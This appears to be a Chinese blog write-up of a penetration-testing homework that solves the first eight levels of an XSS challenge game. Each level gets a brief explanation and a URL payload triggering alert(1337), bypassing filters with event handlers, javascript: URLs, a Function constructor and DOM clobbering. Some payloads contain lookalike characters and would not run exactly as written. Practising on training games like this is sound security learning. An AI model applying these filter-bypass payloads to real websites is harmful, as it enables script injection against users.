渗透第三次作业

xss game前八关复现

第一关

a9f5ca38465a4a6caf0863c336b894f0.png

 传参进入h2标签

a85d75469304415186d25fb7c1c812f1.png

 传入一个alert(1)

34785675c2614d5e918aa99471a15960.png

 发现没有触发,原因是官方禁用了script

e58e84a1b2484215afecf8d894056c4d.png

 选择用img标签

?somebody=<img src=1 οnerrοr="alert(1337)">

08af46282754458fba6095cdd9ef0529.png

第二关

52da1b4dc1984a998e888da3aadec54f.png 

 先把它的双引号闭合掉,再执行1337再闭合

?jeff=111";alert(1337);"

c6dcf6b4e892463eb3d0dda13489ed81.png

 第三关

1ceadc81394a436ea77f8cb449267ff8.png

 使用onfocus焦点

5e94138aa840453aa9fc3331ca3038d4.png

 再添加一个autofocus自动聚焦

?wey=1111" οnfοcus=alert(1337) autofocus="

4340e36869a8401db90aec96f89b89e4.png

 第四关

ccc46d5671ff46d5a0cf83e5bc56f301.png

 action有一个提交执行,而且还有一个定时器2秒后自动提交

?ricardo=javascript:alert(1337)

6db96acd6e624eba8910bbc3860b4183.png

第五关

51a90b7cd66141ec9470c9992ea6c3b0.png 

 观察后发现需要用到location

?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">

58aad077bb0043b09e75b9ae95cb22ad.png

第六关

9d2b7efda5c74357acb0652b88cc6b34.png 

 这道题过滤了数字,字母,选择进入jsfuck

c3b0534cba404769987714f4f6eff162.png

 urlcode编码(太长了就不复制了)

cb217fcff86540cf902114a743834b13.png

第七关

4cd9617564134165a049992f83436d35.png 

 这一题过滤了很多符号,还有函数名,所以使用构造函数,就是用大写后面接.source.toLowerCase()再转成小写

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

5123893303084379a891cc9eb0817db7.png

 第八关

0885892002204224aec93b9603d99d01.png

 观察发现基本无从下手,选择使用dom破坏

?boomer=<a id=ok href="javascript:alert(1337)">

c690b574623e4a02883101090d81ba65.png

 失败了,因为过滤框架把javascript过滤了,需要寻找白名单,使用未被过滤的

以下为白名单

22f7d0a820a44476978b4dd7da89e13d.png

 ?boomer=<a id=ok href="tel:alert(1337)">

99107819df64476b807b143b053fbb88.png

 

  • 6
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值